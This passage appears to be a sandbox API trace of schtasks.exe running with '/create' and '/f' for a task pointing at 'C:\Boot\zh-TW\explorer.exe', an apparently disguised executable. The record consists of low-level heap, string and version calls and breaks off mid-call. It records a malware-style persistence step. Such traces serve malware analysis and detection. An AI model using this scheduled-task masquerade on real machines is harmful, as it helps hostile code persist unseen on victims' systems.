RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.972] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.972] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0116.972] lstrlenW (lpString="-/") returned 2 [0116.972] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0116.972] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.972] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.973] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.973] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0116.973] StrChrIW (lpStart="'C:\\Boot\\zh-TW\\explorer.exe'", wMatch=0x3a) returned=":\\Boot\\zh-TW\\explorer.exe'" [0116.973] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0116.973] GetProcessHeap () returned 0x2556b0d0000 [0116.973] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d3bf0 [0116.973] _memicmp (_Buf1=0x2556b0d3bf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.973] GetProcessHeap () returned 0x2556b0d0000 [0116.973] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xe) returned 0x2556b0da960 [0116.973] GetProcessHeap () returned 0x2556b0d0000 [0116.973] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0da8a0 [0116.973] _memicmp (_Buf1=0x2556b0da8a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.973] GetProcessHeap () returned 0x2556b0d0000 [0116.973] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x3c) returned 0x2556b0dc290 [0116.973] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.973] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.973] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.973] lstrlenW (lpString="'C") returned 2 [0116.973] lstrlenW (lpString="-/") returned 2 [0116.973] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0116.973] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.973] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.973] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.974] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0116.974] GetProcessHeap () returned 0x2556b0d0000 [0116.974] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x3a) returned 0x2556b0dc1f0 [0116.974] GetProcessHeap () returned 0x2556b0d0000 [0116.974] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db430 [0116.974] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.974] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.974] lstrlenW (lpString="/f") returned 2 [0116.974] lstrlenW (lpString="-/") returned 2 [0116.974] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.974] lstrlenW (lpString="?") returned 1 [0116.974] lstrlenW (lpString="?") returned 1 [0116.974] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.974] lstrlenW (lpString="f") returned 1 [0116.974] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.974] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|?|") returned 3 [0116.974] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|f|") returned 3 [0116.974] lstrlenW (lpString="|?|") returned 3 [0116.974] lstrlenW (lpString="|f|") returned 3 [0116.974] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0116.974] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.974] lstrlenW (lpString="create") returned 6 [0116.974] lstrlenW (lpString="create") returned 6 [0116.974] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.974] lstrlenW (lpString="f") returned 1 [0116.974] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.974] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|create|") returned 8 [0116.974] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|f|") returned 3 [0116.975] lstrlenW (lpString="|create|") returned 8 [0116.975] lstrlenW (lpString="|f|") returned 3 [0116.975] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0116.975] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.975] lstrlenW (lpString="delete") returned 6 [0116.975] lstrlenW (lpString="delete") returned 6 [0116.975] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.975] lstrlenW (lpString="f") returned 1 [0116.975] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.975] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|delete|") returned 8 [0116.975] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|f|") returned 3 [0116.975] lstrlenW (lpString="|delete|") returned 8 [0116.975] lstrlenW (lpString="|f|") returned 3 [0116.975] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0116.975] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.975] lstrlenW (lpString="query") returned 5 [0116.975] lstrlenW (lpString="query") returned 5 [0116.975] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.975] lstrlenW (lpString="f") returned 1 [0116.975] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.975] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x8, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|query|") returned 7 [0116.975] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|f|") returned 3 [0116.975] lstrlenW (lpString="|query|") returned 7 [0116.975] lstrlenW (lpString="|f|") returned 3 [0116.975] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0116.975] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.975] lstrlenW (lpString="change") returned 6 [0116.976] lstrlenW (lpString="change") returned 6 [0116.976] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.976] lstrlenW (lpString="f") returned 1 [0116.976] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.976] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|change|") returned 8 [0116.976] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|f|") returned 3 [0116.976] lstrlenW (lpString="|change|") returned 8 [0116.976] lstrlenW (lpString="|f|") returned 3 [0116.976] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0116.976] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.976] lstrlenW (lpString="run") returned 3 [0116.976] lstrlenW (lpString="run") returned 3 [0116.976] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.976] lstrlenW (lpString="f") returned 1 [0116.976] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.976] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x6, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|run|") returned 5 [0116.976] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|f|") returned 3 [0116.976] lstrlenW (lpString="|run|") returned 5 [0116.976] lstrlenW (lpString="|f|") returned 3 [0116.976] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0116.976] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.976] lstrlenW (lpString="end") returned 3 [0116.976] lstrlenW (lpString="end") returned 3 [0116.976] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.976] lstrlenW (lpString="f") returned 1 [0116.976] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.976] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x6, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|end|") returned 5 [0116.977] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|f|") returned 3 [0116.977] lstrlenW (lpString="|end|") returned 5 [0116.977] lstrlenW (lpString="|f|") returned 3 [0116.977] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0116.977] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.977] lstrlenW (lpString="showsid") returned 7 [0116.977] lstrlenW (lpString="showsid") returned 7 [0116.977] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.977] lstrlenW (lpString="f") returned 1 [0116.977] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.977] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0xa, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|showsid|") returned 9 [0116.977] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|f|") returned 3 [0116.977] lstrlenW (lpString="|showsid|") returned 9 [0116.977] lstrlenW (lpString="|f|") returned 3 [0116.977] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0116.977] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.977] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.977] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.977] lstrlenW (lpString="/f") returned 2 [0116.977] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0116.977] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.977] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.977] lstrlenW (lpString="/f") returned 2 [0116.977] GetProcessHeap () returned 0x2556b0d0000 [0116.977] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x6) returned 0x2556b0d3c10 [0116.977] GetProcessHeap () returned 0x2556b0d0000 [0116.977] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db4c0 [0116.977] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.977] GetProcessHeap () returned 0x2556b0d0000 [0116.977] GetProcessHeap () returned 0x2556b0d0000 [0116.978] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d42d0) returned 1 [0116.978] GetProcessHeap () returned 0x2556b0d0000 [0116.978] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d42d0) returned 0x8 [0116.978] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d42d0) returned 1 [0116.978] GetProcessHeap () returned 0x2556b0d0000 [0116.978] GetProcessHeap () returned 0x2556b0d0000 [0116.978] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db400) returned 1 [0116.978] GetProcessHeap () returned 0x2556b0d0000 [0116.978] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db400) returned 0x20 [0116.979] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db400) returned 1 [0116.979] GetProcessHeap () returned 0x2556b0d0000 [0116.979] GetProcessHeap () returned 0x2556b0d0000 [0116.979] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3b30) returned 1 [0116.979] GetProcessHeap () returned 0x2556b0d0000 [0116.979] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3b30) returned 0x14 [0116.979] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3b30) returned 1 [0116.979] GetProcessHeap () returned 0x2556b0d0000 [0116.979] GetProcessHeap () returned 0x2556b0d0000 [0116.979] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db4f0) returned 1 [0116.979] GetProcessHeap () returned 0x2556b0d0000 [0116.979] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db4f0) returned 0x20 [0116.980] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db4f0) returned 1 [0116.980] GetProcessHeap () returned 0x2556b0d0000 [0116.980] GetProcessHeap () returned 0x2556b0d0000 [0116.980] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3b50) returned 1 [0116.980] GetProcessHeap () returned 0x2556b0d0000 [0116.980] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3b50) returned 0x8 [0116.980] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3b50) returned 1 [0116.980] GetProcessHeap () returned 0x2556b0d0000 [0116.980] GetProcessHeap () returned 0x2556b0d0000 [0116.980] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db910) returned 1 [0116.980] GetProcessHeap () returned 0x2556b0d0000 [0116.980] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db910) returned 0x20 [0116.981] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db910) returned 1 [0116.982] GetProcessHeap () returned 0x2556b0d0000 [0116.982] GetProcessHeap () returned 0x2556b0d0000 [0116.982] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3b70) returned 1 [0116.982] GetProcessHeap () returned 0x2556b0d0000 [0116.982] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3b70) returned 0xe [0116.982] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3b70) returned 1 [0116.982] GetProcessHeap () returned 0x2556b0d0000 [0116.982] GetProcessHeap () returned 0x2556b0d0000 [0116.982] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db550) returned 1 [0116.982] GetProcessHeap () returned 0x2556b0d0000 [0116.982] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db550) returned 0x20 [0116.982] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db550) returned 1 [0116.983] GetProcessHeap () returned 0x2556b0d0000 [0116.983] GetProcessHeap () returned 0x2556b0d0000 [0116.983] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3b90) returned 1 [0116.983] GetProcessHeap () returned 0x2556b0d0000 [0116.983] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3b90) returned 0x8 [0116.983] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3b90) returned 1 [0116.983] GetProcessHeap () returned 0x2556b0d0000 [0116.983] GetProcessHeap () returned 0x2556b0d0000 [0116.983] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db580) returned 1 [0116.983] GetProcessHeap () returned 0x2556b0d0000 [0116.983] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db580) returned 0x20 [0116.984] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db580) returned 1 [0116.984] GetProcessHeap () returned 0x2556b0d0000 [0116.984] GetProcessHeap () returned 0x2556b0d0000 [0116.984] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3bb0) returned 1 [0116.984] GetProcessHeap () returned 0x2556b0d0000 [0116.984] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3bb0) returned 0x4 [0116.984] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3bb0) returned 1 [0116.984] GetProcessHeap () returned 0x2556b0d0000 [0116.984] GetProcessHeap () returned 0x2556b0d0000 [0116.984] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db370) returned 1 [0116.984] GetProcessHeap () returned 0x2556b0d0000 [0116.984] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db370) returned 0x20 [0116.985] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db370) returned 1 [0116.985] GetProcessHeap () returned 0x2556b0d0000 [0116.985] GetProcessHeap () returned 0x2556b0d0000 [0116.985] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3bd0) returned 1 [0116.985] GetProcessHeap () returned 0x2556b0d0000 [0116.985] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3bd0) returned 0x8 [0116.985] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3bd0) returned 1 [0116.985] GetProcessHeap () returned 0x2556b0d0000 [0116.985] GetProcessHeap () returned 0x2556b0d0000 [0116.985] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db7c0) returned 1 [0116.985] GetProcessHeap () returned 0x2556b0d0000 [0116.985] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db7c0) returned 0x20 [0116.986] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db7c0) returned 1 [0116.986] GetProcessHeap () returned 0x2556b0d0000 [0116.986] GetProcessHeap () returned 0x2556b0d0000 [0116.986] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0dc1f0) returned 1 [0116.986] GetProcessHeap () returned 0x2556b0d0000 [0116.986] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0dc1f0) returned 0x3a [0116.987] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0dc1f0) returned 1 [0116.987] GetProcessHeap () returned 0x2556b0d0000 [0116.987] GetProcessHeap () returned 0x2556b0d0000 [0116.987] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db430) returned 1 [0116.987] GetProcessHeap () returned 0x2556b0d0000 [0116.987] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db430) returned 0x20 [0116.987] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db430) returned 1 [0116.987] GetProcessHeap () returned 0x2556b0d0000 [0116.987] GetProcessHeap () returned 0x2556b0d0000 [0116.987] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3c10) returned 1 [0116.987] GetProcessHeap () returned 0x2556b0d0000 [0116.987] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3c10) returned 0x6 [0116.987] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3c10) returned 1 [0116.988] GetProcessHeap () returned 0x2556b0d0000 [0116.988] GetProcessHeap () returned 0x2556b0d0000 [0116.988] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db4c0) returned 1 [0116.988] GetProcessHeap () returned 0x2556b0d0000 [0116.988] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db4c0) returned 0x20 [0116.988] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db4c0) returned 1 [0116.988] GetProcessHeap () returned 0x2556b0d0000 [0116.988] GetProcessHeap () returned 0x2556b0d0000 [0116.988] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d49f0) returned 1 [0116.988] GetProcessHeap () returned 0x2556b0d0000 [0116.988] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d49f0) returned 0x18 [0116.988] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d49f0) returned 1 [0116.989] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.989] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0116.989] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0116.989] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0116.989] RtlVerifyVersionInfo (VersionInfo=0x73cd6bc760, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0116.989] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.989] lstrlenW (lpString="create") returned 6 [0116.989] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0116.989] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.989] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.989] lstrlenW (lpString="create") returned 6 [0116.989] GetProcessHeap () returned 0x2556b0d0000 [0116.989] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0dba00 [0116.989] GetProcessHeap () returned 0x2556b0d0000 [0116.989] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0da9a0 [0116.989] _memicmp (_Buf1=0x2556b0da9a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.989] GetProcessHeap () returned 0x2556b0d0000 [0116.989] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x16) returned 0x2556b0daaa0 [0116.989] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.989] _memicmp (_Buf1=0x2556b0d3910, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.990] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2556b0d9a10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0116.990] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x73cd6bc8b8 | out: lpdwHandle=0x73cd6bc8b8) returned 0x76c [0116.990] GetProcessHeap () returned 0x2556b0d0000 [0116.990] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x776) returned 0x2556b0dc460 [0116.990] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2556b0dc460 | out: lpData=0x2556b0dc460) returned 1 [0116.990] VerQueryValueW (in: pBlock=0x2556b0dc460, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x73cd6bc850, puLen=0x73cd6bc8b0 | out: lplpBuffer=0x73cd6bc850*=0x2556b0dc810, puLen=0x73cd6bc8b0) returned 1 [0116.990] _memicmp (_Buf1=0x2556b0d3910, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.990] _vsnwprintf (in: _Buffer=0x2556b0d9a10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x73cd6bc828 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0116.990] VerQueryValueW (in: pBlock=0x2556b0dc460, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x73cd6bc840, puLen=0x73cd6bc8a8 | out: lplpBuffer=0x73cd6bc840*=0x2556b0dc640, puLen=0x73cd6bc8a8) returned 1 [0116.990] lstrlenW (lpString="schtasks.exe") returned 12 [0116.990] lstrlenW (lpString="schtasks.exe") returned 12 [0116.990] lstrlenW (lpString=".EXE") returned 4 [0116.990] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0116.991] lstrlenW (lpString="schtasks.exe") returned 12 [0116.991] lstrlenW (lpString=".EXE") returned 4 [0116.991] lstrlenW (lpString="schtasks") returned 8 [0116.991] lstrlenW (lpString="/create") returned 7 [0116.991] _memicmp (_Buf1=0x2556b0d3910, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.991] _vsnwprintf (in: _Buffer=0x2556b0d9a10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x73cd6bc828 | out: _Buffer="schtasks /create") returned 16 [0116.991] _memicmp (_Buf1=0x2556b0d46f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.991] GetProcessHeap () returned 0x2556b0d0000 [0116.991] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db490 [0116.991] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.991] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0116.991] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0116.991] GetProcessHeap () returned 0x2556b0d0000 [0116.991] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x30) returned 0x2556b0d3c10 [0116.991] _vsnwprintf (in: _Buffer=0x2556b0d4220, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x73cd6bc828 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0116.991] GetProcessHeap () returned 0x2556b0d0000 [0116.991] GetProcessHeap () returned 0x2556b0d0000 [0116.991] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0dc460) returned 1 [0116.991] GetProcessHeap () returned 0x2556b0d0000 [0116.991] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0dc460) returned 0x776 [0116.992] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0dc460) returned 1 [0116.992] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.992] GetThreadLocale () returned 0x409 [0116.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.992] lstrlenW (lpString="create") returned 6 [0116.992] GetThreadLocale () returned 0x409 [0116.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.992] lstrlenW (lpString="?") returned 1 [0116.992] GetThreadLocale () returned 0x409 [0116.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.992] lstrlenW (lpString="s") returned 1 [0116.992] GetThreadLocale () returned 0x409 [0116.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.992] lstrlenW (lpString="u") returned 1 [0116.992] GetThreadLocale () returned 0x409 [0116.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.992] lstrlenW (lpString="p") returned 1 [0116.992] GetThreadLocale () returned 0x409 [0116.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.993] lstrlenW (lpString="ru") returned 2 [0116.993] GetThreadLocale () returned 0x409 [0116.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", 